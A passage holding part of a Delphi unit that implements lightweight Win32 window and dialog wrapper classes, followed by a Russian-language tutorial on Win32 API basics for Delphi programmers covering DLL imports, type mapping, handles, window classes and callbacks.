Caption: PChar;
Style: DWord;
ExStyle: DWord;
X: Integer;
Y: Integer;
Width: Integer;
Height: Integer;
WndParent: THandle;
WndMenu: THandle;
Param: Pointer;
WindowClass: TWndClass;
end;
////////////////////////////////////////////////////////////////////////////////
// Параметры для создания диалога
////////////////////////////////////////////////////////////////////////////////
type
TDialogParams = record
Template: PChar;
WndParent: THandle;
end;
Декларация базового класса TLiteFrame
Базовый класс для окон и диалогов.Инкапсулирует в себе дескриптор окна и
объявляет общую оконную процедуру.Реализует механизм message - процедур.
////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Базовый класс для объектов TLiteWindow, TLiteDialog, TLiteDialogBox
////////////////////////////////////////////////////////////////////////////////
type
TLiteFrame = class(TObject)
private
FWndCallback: Pointer;
FWndHandle: THandle;
FWndParent: THandle;
function WindowCallback(hWnd: HWnd; Msg, WParam, LParam: Longint): Longint;
stdcall;
protected
procedure WindowProcedure(var Msg: TMessage); virtual;
public
property WndHandle: THandle read FWndHandle;
property WndCallback: Pointer read FWndCallback;
public
constructor Create(AWndParent: THandle); virtual;
destructor Destroy; override;
end;
Декларация оконного класса TLiteWindow
Создание уникального класса окна и создание окна.Возможность субклассинга
стороннего окна.
////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Оконный класс
////////////////////////////////////////////////////////////////////////////////
type
TLiteWindow = class(TLiteFrame)
private
FWndParams: TWindowParams;
FWndSubclass: Pointer;
protected
procedure CreateWindowParams(var WindowParams: TWindowParams); virtual;
public
procedure DefaultHandler(var Msg); override;
constructor Create(AWndParent: THandle); override;
constructor CreateSubclassed(AWnd: THandle); virtual;
destructor Destroy; override;
end;
Декларация диалогового класса TLiteDialog
Загрузка шаблона диалога и создание диалога.
////////////////////////////////////////////////////////////////////////////////
// TLiteDialog
// _____________________________________________________________________________
// Диалоговый класс
////////////////////////////////////////////////////////////////////////////////
type
TLiteDialog = class(TLiteFrame)
private
FDlgParams: TDialogParams;
protected
procedure CreateDialogParams(var DialogParams: TDialogParams); virtual;
public
procedure DefaultHandler(var Msg); override;
constructor Create(AWndParent: THandle); override;
destructor Destroy; override;
end;
Декларация модального диалогового класса TLiteDialogBox
Загрузка шаблона диалога и создание диалога.Модальный показ диалога.
////////////////////////////////////////////////////////////////////////////////
// TLiteDialogBox
// _____________________________________________________________________________
// Модальный диалоговый класс
////////////////////////////////////////////////////////////////////////////////
type
TLiteDialogBox = class(TLiteFrame)
private
FDlgParams: TDialogParams;
protected
procedure CreateDialogParams(var DialogParams: TDialogParams); virtual;
public
procedure DefaultHandler(var Msg); override;
public
function ShowModal: Integer;
end;
Реализация базового класса TLiteFrame
implementation
////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteFrame.Create(AWndParent: THandle);
begin
inherited Create;
// Запоминаем дескриптор родительского окна
FWndParent := AWndParent;
// Создаем место под блок обратного вызова
FWndCallback := VirtualAlloc(nil, 12, MEM_RESERVE or MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// Формируем блок обратного вызова
asm
mov EAX, Self
mov ECX, [EAX].TLiteFrame.FWndCallback
mov word ptr [ECX+0], $6858 // pop EAX
mov dword ptr [ECX+2], EAX // push _Self_
mov word ptr [ECX+6], $E950 // push EAX
mov EAX, OFFSET(TLiteFrame.WindowCallback)
sub EAX, ECX
sub EAX, 12
mov dword ptr [ECX+8], EAX // jmp TLiteFrame.WindowCallback
end;
end;
////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteFrame.Destroy;
begin
// Уничтожаем структуру блока обратного вызова
VirtualFree(FWndCallback, 0, MEM_RELEASE);
// Уничтожение по умолчанию
inherited;
end;
////////////////////////////////////////////////////////////////////////////////
// TLiteFrame
// _____________________________________________________________________________
// Функции обработки сообщений
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Функция обратного вызова для получения оконных сообщений
////////////////////////////////////////////////////////////////////////////////
function TLiteFrame.WindowCallback(hWnd: HWnd; Msg, WParam, LParam: Integer):
Longint;
var
WindowMsg: TMessage;
begin
// Запоминаем дескриптор окна, если это первый вызов оконной процедуры
if FWndHandle = 0 then
FWndHandle := hWnd;
// Формируем сообщение
WindowMsg.Msg := Msg;
WindowMsg.WParam := WParam;
WindowMsg.LParam := LParam;
// Обрабатываем его
WindowProcedure(WindowMsg);
// Возвращаем результат обратно системе
Result := WindowMsg.Result;
end;
////////////////////////////////////////////////////////////////////////////////
// Виртуальная функция для обработки оконных сообщений
////////////////////////////////////////////////////////////////////////////////
procedure TLiteFrame.WindowProcedure(var Msg: TMessage);
begin
// Распределяем сообщения по обработчикам
Dispatch(Msg);
end;
Реализация оконного класса TLiteWindow
////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteWindow.Create(AWndParent: THandle);
begin
inherited;
// Формируем параметры окна
CreateWindowParams(FWndParams);
// Регистрируем класс окна
RegisterClass(FWndParams.WindowClass);
// Создаем окно
with FWndParams do
CreateWindowEx(ExStyle, WindowClass.lpszClassName, Caption,
Style, X, Y, Width, Height,
WndParent, WndMenu, hInstance, Param
);
end;
////////////////////////////////////////////////////////////////////////////////
// Конструктор элемента с субклассингом
////////////////////////////////////////////////////////////////////////////////
constructor TLiteWindow.CreateSubclassed(AWnd: THandle);
begin
inherited Create(GetParent(AWnd));
// Сохраняем оконную функцию
FWndSubclass := Pointer(GetWindowLong(AWnd, GWL_WNDPROC));
// Сохраняем дескриптор окна
FWndHandle := AWnd;
// Устанавливаем свою оконную функцию
SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(WndCallback));
end;
////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteWindow.Destroy;
begin
// Наш объект - объект субклассиннга ?
if FWndSubclass = nil then
begin
// Уничтожаем класс окна
UnregisterClass(FWndParams.WindowClass.lpszClassName, hInstance);
// Уничтожаем окно
if IsWindow(FWndHandle) then
DestroyWindow(FWndHandle);
end
else
// Восстанавливаем старую оконную функцию
SetWindowLong(FWndHandle, GWL_WNDPROC, DWord(FWndSubclass));
// Уничтожение по умолчанию
inherited;
end;
////////////////////////////////////////////////////////////////////////////////
// Формирование параметров окна по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteWindow.CreateWindowParams(var WindowParams: TWindowParams);
var
WndClassName: string;
begin
// Формируем имя класса
Str(DWord(Self), WndClassName);
WndClassName := ClassName + ':' + WndClassName;
// Заполняем информацию о классе окна
with FWndParams.WindowClass do
begin
style := CS_DBLCLKS;
lpfnWndProc := WndCallback;
cbClsExtra := 0;
cbWndExtra := 0;
lpszClassName := PChar(WndClassName);
hInstance := hInstance;
hIcon := LoadIcon(0, IDI_APPLICATION);
hCursor := LoadCursor(0, IDC_ARROW);
hbrBackground := COLOR_BTNFACE + 1;
lpszMenuName := '';
end;
// Заполняем информацию об окне
with FWndParams do
begin
WndParent := FWndParent;
Caption := 'Lite Window';
Style := WS_OVERLAPPEDWINDOW or WS_VISIBLE;
ExStyle := 0;
X := Integer(CW_USEDEFAULT);
Y := Integer(CW_USEDEFAULT);
Width := Integer(CW_USEDEFAULT);
Height := Integer(CW_USEDEFAULT);
WndMenu := 0;
Param := nil;
end;
end;
////////////////////////////////////////////////////////////////////////////////
// TLiteWindow
// _____________________________________________________________________________
// Функции обработки сообщений
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Обработчик сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteWindow.DefaultHandler(var Msg);
begin
// Наш объект - объект субклассиннга ?
if FWndSubclass = nil then
// Вызываем системную функцию обработки сообщений
with TMessage(Msg) do
Result := DefWindowProc(FWndHandle, Msg, WParam, LParam)
else
// Вызываем старую оконную функцию обработки сообщений
with TMessage(Msg) do
Result := CallWindowProc(FWndSubclass, FWndHandle, Msg, WParam, LParam);
end;
Реализация диалогового класса TLiteDialog
////////////////////////////////////////////////////////////////////////////////
// TLiteDialog
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Конструктор
////////////////////////////////////////////////////////////////////////////////
constructor TLiteDialog.Create(AWndParent: THandle);
begin
inherited;
// Формируем параметры диалога
CreateDialogParams(FDlgParams);
// Создаем диалог
with FDlgParams do
CreateDialogParam(hInstance, Template, WndParent, WndCallback, 0);
end;
////////////////////////////////////////////////////////////////////////////////
// Деструктор
////////////////////////////////////////////////////////////////////////////////
destructor TLiteDialog.Destroy;
begin
// Уничтожаем диалог
if IsWindow(FWndHandle) then
DestroyWindow(FWndHandle);
// Уничтожение по умолчанию
inherited;
end;
////////////////////////////////////////////////////////////////////////////////
// Формирование параметров диалога по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialog.CreateDialogParams(var DialogParams: TDialogParams);
begin
DialogParams.WndParent := FWndParent;
DialogParams.Template := '';
end;
////////////////////////////////////////////////////////////////////////////////
// Обработка сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialog.DefaultHandler(var Msg);
begin
// Возвращаемые значения по умолчанию
with TMessage(Msg) do
if Msg = WM_INITDIALOG then
Result := 1
else
Result := 0;
end;
Реализация модального диалогового класса TLiteDialogBox
////////////////////////////////////////////////////////////////////////////////
// TLiteDialogBox
// _____________________________________________________________________________
// Инициализация / финализация
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// Формирование параметров диалога по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialogBox.CreateDialogParams(var DialogParams: TDialogParams);
begin
DialogParams.WndParent := FWndParent;
DialogParams.Template := '';
end;
////////////////////////////////////////////////////////////////////////////////
// Активизация модального диалога
////////////////////////////////////////////////////////////////////////////////
function TLiteDialogBox.ShowModal: Integer;
begin
// Формируем параметры диалога
CreateDialogParams(FDlgParams);
// Показываем диалог
with FDlgParams do
Result := DialogBoxParam(hInstance, Template, WndParent, WndCallback, 0);
end;
////////////////////////////////////////////////////////////////////////////////
// Обработка сообщений по умолчанию
////////////////////////////////////////////////////////////////////////////////
procedure TLiteDialogBox.DefaultHandler(var Msg);
begin
// Возвращаемые значения по умолчанию
with TMessage(Msg) do
if Msg = WM_INITDIALOG then
Result := 1
else
Result := 0;
end;
end.
Основы работы с Win32API.
Введение
Цель этого обзора - помочь человеку перейти от использования средств Delphi к функциям Win API. Предполагается, что читатель уже неплохо владеет Delphi, поэтому будет подчёркиваться прежде всего разница между этими двумя инструментами. Кроме того, многие авторы книг по Delphi не уделяют достаточно внимания функциям Win API, предназначенным для работы с окнами и графикой, потому что считают, что VCL Delphi достаточно хорошо справляется с этими задачами. Так что часто приходится учиться работе с Win API по книгам по 16-разряд-ному Borland Раsсаl'ю. Поэтому я буду обращать внимание и на отличие 32-разрядных версий от 16-разрядных. Но я не буду без особой необходимости останавливаться на подробном опи-сании конкретных функций, так как это всё сделано в справочной системе. Я также остановлюсь и на этой самой справочной системе, потому что начинающему программисту может оказаться не очень просто разобраться с ней.
Что такое Win API
Win API - это набор функций, предоставляемых операционной системой каждой программе. Эти функции находятся в стандартных динамически компонуемых библиотеках (Dynamic Linked Li-brary, DLL), таких как kernel32.dll, user32.dll, gdi32.dll. Эти файлы находятся в директории Win-dow. Вообще говоря, каждая программа должна самостоятельно заботится о том, чтобы подключить эти библиотеки. DLL могут подключаться к программе статически и дина-мически. В первом случае программа DLL только при завершении, во втором освобождение может произойти в любой момент. Если после освобождения DLL оказывается, что её больше не использует ни одна программа, она выгружается из памяти. Так как стандартные библиотеки используются самой системой, они всегда находятся в памяти, и поэтому использование динамического подключения бессмысленно. Чтобы статически подключить в Delphi некоторую функцию Win API, например, функцию GetWindowDC из модуля user32.dll, надо написать конструкцию вида.
function GetWindowDC(Wnd: HWnd); HDC; stdcall; external 'user32.dll' name 'GetWindowDC'; |
Такая запись обеспечивает одновременно и статическое подключение библиотеки user32, и декларацию функции GetWindowDC, что позволяет компилятору в дальнейшем работать с ней. Обратите внимание, что все функции Win API написаны в соответствии с моделью вызова stdcall, а в Delphi по умолчанию используется другая модель - register (модель вызова определяет, как функции передаются параметры). Поэтому при импорте функций из стандартных биб-лиотек необходимо явно указывать эту модель. Далее указывается, из какой библиотеки импор-тируется функция и какое название в ней она имеет. Дело в том, что имя функции в библиотеке может не совпадать с тем, под которым она становится известна компилятору. Позже я остановлюсь на тех случаях, когда это используется. Главным недостатком DLL следует считать то, что в них сохраняется информация только об именах функций, но не об их параметрах. По-этому, если при импорте функции указать не те параметры, какие подразумевались автором DLL, то программа будет работать неправильно (вплоть до зависания), а ни компилятор, ни операционная система не смогут указать на ошибку.
Обычно программа использует довольно большое число функций Win API. Декларировать их все довольно утомительно. К счастью, Delphi избавляет программиста от этой работы: все эти функции уже описаны в соответствующих модулях, достаточно упомянуть их имена в разделе uses. Например, большинство общеупотребительных функций описаны в модулях Windows.dcu и Messages.dcu.
Как получить справку по функциям Win API
Для тех, кто решил использовать Win API, самым необходимым инструментом становится ка-кая-либо документация по этим функциям. Их так много, что запомнить все совершенно нере-ально, поэтому работа без справочника под рукой просто невозможна. Наиболее доступным справочником для российского программиста является Win32 Developer's Reference, справочная система фирмы Microsoft, потому что фирма Inprise (тогда ещё Borland), получила лицензию на включение её в состав Delphi. Сам я буду постоянно ссылаться на эту справку, потому что под-робное описание функций займёт слишком много места, да и нет особого смысла описывать то, что описали и без меня.
Хотя в комплект поставки Delphi и входит эта справочная система, содержащая описание всех функций Win API, получение справки по ним не настолько удобное, как по стандартным функ-циям Delphi. Если набрать в редакторе Delphi имя какой-нибудь функции Win API, поставить курсор в начало этой функции и нажать F1, то откроется справка по ней, как и в случае обыч-ных функций и процедур. Однако функции Win API не появляются в предметном указателе справочной системы. Авторы Delphi объясняют это ограничениями, накладываемыми самой справочной системой (как обычно, всех собак вешают Windows). Они же советуют создать в меню кнопки ярлык к справочной системе Win32 Developer's Reference. Мне остаётся только присоединиться к этому совету и добавить, что ярлык надо создавать к файлу MSTools.hlp, который находится в директории $(Delphi).
Другая проблема заключается в том, что, так как система Windows написана на Си, все описа-ния функций Win API даны в соответствии с синтаксисом именно этого языка, а не Паскаля. Во-первых, необходимо разобраться с типами. Ниже приведена таблица, какие типы Си чему соответствуют.
WCHAR = WideChar; LPSTR = PChar; LPCSTR = PChar; LPWSTR = PWideChar; LPCWSTR = PWideChar; DWORD = Integer; BOOL = LongBool; PBOOL = ^BOOL; PINT = ^Integer; PWORD = ^Word; PDWORD = ^DWORD; LPDWORD = PDWORD; UCHAR = Byte; PUCHAR = ^Byte; SHORT = Smallint; UINT = Integer; PUINT = ^UINT; ULONG = Longint; PULONG = ^ULONG; LCID = DWORD; LANGID = Word; int = Integer; long = LongInt; PVOID = Pointer; HANDLE = THandle; LPPOINT = TPoint; RECT = TRect; LPRECT = PRect; LPSIZE = PSize; BITMAP = TBitmap;Все типы, приведённые в первой части таблицы, в целях совместимости описаны в модуле Win-dows.dcu, поэтому их можно использовать наравне с обычными типами Delphi. Кроме этих типов общего назначения существуют ещё специальные. Например, дескриптор окна имеет тип HWND, первый параметр сообщения - тип WPARAM. Эти специальные типы также описаны в Windows.dcu. В некоторых имена типов, встречающихся в справке, и соответствующих им ти-пов из Windows.dcu отличаются только добавлением буквы , как это можно видеть из вто-рой части таблицы. Кстати, не следует путать тип TBitmap, определённый в Windows.dcu, с классом TBitmap, определённым в Graphics.dcu. Зачем разработчикам Delphi потребовалось на-зывать разные типы одним именем, не понятно, тем более что во второй версии Delphi был тип BITMAP, который куда-то исчез в третьей. Зато в четвёртой версии снова появился BITMAP, остался TBitmap, да ещё добавился tagBITMAP, и все эти три типа означают то же самое.
Теперь о синтаксисе описания самой функции в Си. Оно имеет вид.
( , , ...); |
Еще в Си различается верхний и нижний регистр, поэтому идентификаторы HDC, hdc, hDC и т. д. - разные идентификаторы (автор Си очень любил краткость и хотел, чтобы можно было делать не 26, а 52 переменные с именем из одной буквы). Поэтому часто можно встретить, что имя параметра и его тип совпадают с точностью до регистра. К счастью, при описании функции в Delphi мы не обязаны сохранять имена параметров, значение имеют лишь их типы и порядок следования. С учётом всего этого функция, описанная в справке как.
HMETAFILE CopyMetaFile(HMETAFILE hmfSrc, LPCTSTR lpszFile); |
В Delphi имеет вид:
function CopyMetaFile(hmfSrc: HMETAFILE; lpszFile: LPCTSTR): HMETAFILE; |
Или, что то же самое,
function CopyMetaFile(hmfSrc: HMetaFile; lpszFile: PChar): HMetaFile; |
Так как в Паскале нет разницы, написать, например, HMETAFILE или HMetaFile, в дальнейшем я буду придерживаться второго варианта, потому что так легче читать, хоть это и не совпадает с тем, как принято в справочной системе.
Несколько особняком стоит тип VOID. Если функция имеет такой тип, то в Паскале она описы-вается как процедура. Если вместо параметров у функции в скобках стоит VOID, это означает, что функция не имеет параметров. Например, функция.
VOID CloseLogFile(VOID); |
В Delphi описывается как.
procedure CloseLogFile; |
Не путайте VOID и PVOID. PVOID - это нетипизированный указатель, соответствующий типу Pointer.
В тех случаях, когда тип параметра является указателем на другой тип (обычно начинается с букв LP), при описании этой функции в Delphi можно пользоваться параметром-переменной, так как в этом случае функции передаётся указатель. Например, функция.
int GetRgnBox(HRGN hrgn, LPRECT lprc); |
В файле Windows.pas описана.
function GetRgnBox(RGN: HRGN; var p2: TRect): Integer; |
И, наконец, если не удаётся понять, как функция, описанная в справке, должна быть переведена на Паскаль, можно попытаться найти описание этой функции в исходных текстах модулей, по-ставляемых вместе с Delphi. Эти модули находятся в директории $(DELPHI). Можно также воспользоваться подсказкой, которая всплывает в редакторе Delphi после того, как будет набрано имя функции.
Если посмотреть справку, например, по функции GetSystemMetrics, то видно, что эта функция должна иметь один целочисленный параметр. Однако далее в справке предлагается при вызове этой функции подставлять в качестве параметра не числа, а SM_ARRANGE, SM_CLEANBOOT и т. д. Подобная ситуация и со многими другими функциями Win API. Все эти SM_ARRANGE, SM_CLEANBOOT и т. д. являются именами числовых констант. Эти константы описаны в том же модуле, в котором описана функция, использующая их, поэтому можно не выяснять числен-ные значения этих констант, а указывать при вызове функций их имена, например, GetSystem-Metric-s(SM_Arrange); Если по каким-то причинам всё-таки потребовалось выяснить численные значения, то в справочной системе их искать не стоит - их там нет. Я могу только опять отправить к исходным текстам модулей Delphi, в которых эти константы описаны. Так, например, просматривая Windows.pas, можно узнать, что SM_ARRANGE = 56. Кстати, всем, кто решиться самостоятельно просматривать исходники, я очень рекомендую использовать для этого не текстовый редактор, а программу, которая может только показать, но не изменить файл (что-то вроде просмотра по F3 в Norton Соmmаndеr'е). Так безопаснее. Или же стоит по-думать о резервной копии.
В описании многих функций Win API вверху можно увидеть три ссылки: QuickInfo, Overview и Group. Первая даёт краткую информацию о функции. Самой полезной частью этой информации является то, для каких версий Windows эта функция реализована. Например, очень полезна функция MaskBlt, однако QuickInfo показывает, что она реализована только в Windows NT. Программа, использующая эту функцию, не будет работать в Windows 95. Иногда напротив на-звания одной из систем стоит слово , которое переводится как , (например, для функции GetDeviceGammaRamp это слово стоит напротив Windows NT). Это означает, что в данной версии эта функция присутствует (то есть обращение к ней не вызывает ошибки), но ничего не делает. Оставим на совести программистов из Microsoft вопрос, зачем нужны такие пни. Overview - это краткий обзор какой-то большой темы. Например, для любой функции, работающей с растровыми изображениями, обзор будет в двух словах объяснять, за-чем в принципе нужны эти самые растровые изображения. Судя по непроверенным данным, первоначально эти обзоры замышлялись как нечто большее, но потом остановились на таких вот лаконичных фразах. Как бы то ни было, найти в обзоре полезную информацию удаётся крайне редко, поэтому заглядывать туда стоит только если ну совсем ничего не понятно. И, наконец, Group. Эта ссылка приводит к списку всех функций, родственных данной. Например, для функции CreateRectRgn группу будут составлять все функции, имеющие отношение к ре-гионам. Если теперь нажимать на кнопку ) сразу под главным меню окна справки, то будут появляться страницы с кратким описанием возможных применений объ-ектов, с которыми работают функции (в приведённом примере описание возможностей ре-гионов). Чтобы читать их в нормальной последовательности, лучше всего нажать на .
Иногда в справке можно встретить указания или . К этим замечаниям следует относится критически, так как справка написана для Windows 95, когда ещё не было Windows NT 4.0, описывается версия со старым интерфейсом. Так что то, про что на-писано , может вполне успешно работать и в Windows NT 4.0 и выше, осо-бенно если это связано с пользовательским интерфейсом. То же самое относится и к QuickInfo. Такие вещи лучше всего проверять на практике.
Ещё несколько слов о числовых константах. В справке можно встретить числа вида, например, 0xC56F или 0x3341. Префикс в Си означает шестнадцатеричное число. В Delphi надо его заменить на , то есть вышеназванные числа должны быть записаны как $C56F и $3341 соот-ветственно.
Дескрипторы вместо классов
Программируя в Delphi, мы быстро привыкаем к тому, что каждый объект реализуется экземпляром соответствующего класса. Например, кнопка реализуется экземпляром класса TButton, контекст устройства - классом TCanvas. Но когда создавались первые версии Windows, объ-ектно-ориентированный метод программирования ещё не был общепризнанным, поэтому он не был реализован. Современные версии Windows частично унаследовали этот недостаток, по-этому в большинстве случаев приходится работать по старинке, тем более что DLL могут экс-пор-тировать только функции, но не классы.
Когда мы создаём некоторый объект в Windows, ему присваивается уникальный 32-разрядный номер, называемый дескриптором. В дальнейшем при работе с этим объектом каждой функции передаётся этот дескриптор. В этом и заключается главное различие между методами класса и функциями Win API. Первые связаны с тем экземпляром класса, через который они вызыва-ются, и поэтому не требуют явного указания на объект. Вторым необходимо такое указание, так как они сами по себе никак не связаны ни с одним объектом.
Не следует думать, что при работе с Win API следует полностью отказываться от классов Delphi. Эти методы прекрасно работают вместе. Правда, внутренние механизмы Delphi не могут вклю-читься, если изменение объекта происходит через Win API. Например, если спрятать окно не с помощью метода Hide, а с помощью вызова функции Win API ShowWindow(Handle, SW_Hide), не возникнет событие OnHide, потому что оно запускается теми самыми внутренними механиз-мами Delphi. Но такие недоразумения случаются обычно только тогда, когда функциями Win API дублируется то, что можно сделать и с помощью Delphi. Для вызова функций Win API объ-екта, созданного с помощью Delphi, используйте свойство Handle. В нём хранится дескриптор.
В некоторых случаях класс Delphi инкапсулирует несколько объектов Windows. Например, класс TBitmap включает в себя HBitmap и HPalette - картинку и палитру к ней. Соответственно, он хранит два дескриптора - в свойствах Handle и Palette.
Все экземпляры классов, созданные в Delphi, должны удаляться. В некоторых случаях это происходит автоматически, в некоторых программист должен сам позаботиться о . Аналогичная ситуация и с объектами, создаваемыми в Win API. Если посмотреть справку по функции, создающей какой-то объект, то там обязательно будет информация о том, какой функцией можно удалить объект и может ли система сделать это автоматически. Во многих случаях совершенно разные объекты могут удаляться одной и той же функцией. Так, функция DeleteObject удаляет косметические карандаши, геометрические карандаши, кисти, шрифты, регионы, растровые изображения и палитры. Обращайте внимание на возможные исключения. Например, регионы не удаляются системой автоматически, однако если вызвать для региона функцию SetWindowRgn, то этот регион переходит в собственность операционной системы. Никакие дальнейшие операции с ним, в том числе и удаление, совершать нельзя.
Формы Delphi и окна Windows
Принято считать, что класс TForm реализует окно. Это не совсем верно, потому что TForm реализует лишь часть тех объектов, которые принято называть окнами. Например, кнопка - это тоже окно, но реализуется она классом TButton.
Каждое окно принадлежит к какому-то оконному классу. Не следует путать оконный класс с классами Delphi. Это некий шаблон, определяющий базовые свойства окна. Каждому такому шаблону присваивается имя, уникальное в его области видимости. Классы делятся на локаль-ные (видимые только в приложении, регистрирующем их) и глобальные (видимые вне прило-жения). В 16-разрядных версиях Windows локальный класс, зарегистрированный приложением, был виден всем другим экземплярам этого же приложения. В 32-разрядных версиях различные экземпляры одного приложения стали более самостоятельными, поэтому каждый экземпляр должен заново регистрировать все свои классы. Перед использованием класс необходимо заре-гистрировать ( функция RegisterClassEx). При завершении программы все классы, зарегистриро-ванные в ней, удаляются автоматически, хотя при необходимости их можно удалить и само-стоятельно. Отсюда очевидно, что глобальный оконный класс, доступный всем программам, должен быть зарегистрирован динамической библиотекой, постоянно находящейся в памяти. Как это сделать, можно прочитать в Win32 Developer's Reference, тема WNDCLASS. Если же глобальный класс регистрируется программой обычным образом, то это означает, что он будет доступен не только самой программе, но и всем библиотекам, вызванным ею, но никак не другим программам и не другим экземплярам этой программы. Если наоборот, глобальный класс регистрирует DLL, то он становится доступным всем программам, использующим эту DLL. Но в этом случае класс не удаляется автоматически.
При создании окна обязательно указывать его класс. Данный класс должен быть к этому мо-менту зарегистрирован. В Delphi имя оконного класса для окон, созданных наследниками TForm, всегда совпадает с именем класса Delphi. Существуют предопределённые классы Win-dows, которые не надо регистрировать. Это 'BUTTON', 'COMBOBOX', 'EDIT', 'LISTBOX', 'MDICLIENT', 'SCROLLBAR' и 'STATIC'. Назначение этих классов понятно из их названий (класс 'STATIC' реализует статические, то есть не реагирующие на мышь и клавиатуру, но имеющие дескриптор элементы, текстовые или графические). Впрочем, можно определить локальный класс с зарезервированным именем, он перекроет глобальный в пределах приложения.
Кроме имени, класс включает в себя другие параметры, такие как стиль, кисть и т. д. Они подробно перечислены в справке по теме WNDCLASS.
Кроме класса нужно указать стиль окна и расширенный стиль. Они определяют поведение конкретного окна и не имеют ничего общего со стилем класса. Возможные значения этих стилей перечислены в справке по функциям CreateWindow и CreateWindowEx. Результатом работы этих функций является дескриптор созданного ими окна.
Функции, создающие окна, требуют указать дескриптор приложения. В Delphi этот дескриптор хранится стразу в двух переменных - MainInstance модуля System и HInstance модуля SysInit. Оба эти модуля автоматически подключаются к любому модулю, созданному в Delphi, так что можно использовать ту или иную переменную по своему вкусу. Кстати, не следует путать авто-матическое подключение этих модулей с автоматической генерацией кода IDE Delphi для под-ключения таких модулей, как Windows, Forms, SysUtils и т. д. В первом случае модули подклю-чаются несмотря на то, что не упомянуты в списке uses. Более того, их упоминание там приве-дёт к ошибке. Во втором случае эти модули явным образом подключаются, просто Delphi автоматически пишет эту часть программы за программиста. Можно написать модуль или даже це-лую программу, которые не будут использовать SysUtils, но нельзя написать такие, которые не будут использовать System.
Создание окон через Win API требует кропотливой работы. VCL Delphi справляется с этой задачей замечательно, поэтому создавать окна самостоятельно приходится только тогда, когда ис-пользование VCL нежелательно, например, если необходимо написать как можно более ком-пактное приложение. Во всех остальных случаях приходится только слегка подправлять работу VCL. Например, с помощью Win API можно изменить форму окна или убрать из него заголо-вок, оставив рамку. Подобные действия не требуют от программиста создания нового окна, можно воспользоваться тем, что уже создано VCL.
Другой случай, когда могут понадобиться функции Win API для окон - если приложение должно что-то делать с чужими окнами. Например, хотя бы просто перечислить все окна, от-крытые в данный момент, как это делает WinSight32. Но в этом случае также не приходится самому создавать окна, работа идёт с уже имеющимися.
Callback функции
Прежде чем двигаться дальше, необходимо разобраться с тем, что такое callback функции. На русский язык это обычно переводится как функции косвенного вызова. Эти функции в программе описываются, но обычно не вызываются напрямую, хотя ничто не запрещает сделать это. В этом они похожи на те методы класса, которые связаны с событиями. Ничто не мешает вызывать напрямую, например, метод FormCreate, но делать это приходится крайне редко. С другой стороны, даже если этот метод не вызывается явно, он всё равно выполняется, потому что VCL автоматически вызывает его без прямого указания программиста. Еще одно общее свойство - конкретное имя метода при косвенном вызове не важно. Можно изменить его, но если этот метод по-прежнему будет связан с событием OnCreate, он так же будет успешно вы-зываться. Разница заключается только в том, что такие методы вызываются внутренними меха-низмами Delphi, а callback функции - самой системой Windows. Соответственно, на эти функции налагаются следующие требования: во-первых, эти функции должны быть именно функциями, а не методами класса (впрочем, иногда это условие удаётся обойти); во-вторых, эти функции должны быть написаны в соответствии с моделью вызова stdcall. Справочная система предла-гает использовать модель callback, которая в имеющихся версиях Windows совпадает с stdcall. Однако в Delphi такая модель не поддерживается. Что же касается того, как программист сообщает системе о том, что он написал callback функцию, то это в каждом случае по-своему.
Очень часто функции косвенного вызова используются при перечислении некоторых объектов. В качестве примера рассмотрим перечисление окон с помощью функции EnumWindows. В справке она описана так:
BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam); |
Соответственно, в Windows.pas она имеет вид.
function EnumWindows(lpEnumFunc: TFNWndEnumProc; lParam: LPARAM): BOOL; stdcall; |
Тип TFNWndEnumProc совпадает с типом Pointer. Здесь должен стоять указатель на callback функцию. Синтаксис этой функции описан так:
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam); |
Функции с таким именем не существует в Win API. Это так называемый прототип функции, согласно которому следует описывать callback функцию. На самом деле этот прототип предос-тавляет большую свободу, чем это может показаться на первый взгляд. Как я уже сказал выше, имя может быть любым. Любыми могут быть и типы функции и параметров, при условии что новые типы совпадают по размерам с теми, которые указываются. Что касается типа функции и типа первого параметра, то они имеют определённый смысл и менять их тип практически бес-смысленно. Другое дело со вторым параметром. Он предназначен специально для передачи значения, которое программист волен использовать по своему усмотрению, система не имеет на него никаких видов. А программисту может показаться удобнее работать не с типом LPARAM (то есть LongInt), а, например, с указателем или же с массивом из четырёх байт. Лишь бы были именно четыре байта, а не восемь, шестнадцать или ещё какое-то число. Можно даже превратить этот параметр в параметр-переменную, так как при этом функции будут переда-ваться всё те же четыре байта - адрес переменной. Но эти удовольствия для тех, кто хорошо разбирается с тем, как используется стек для передачи параметров при различных моделях вы-зова.
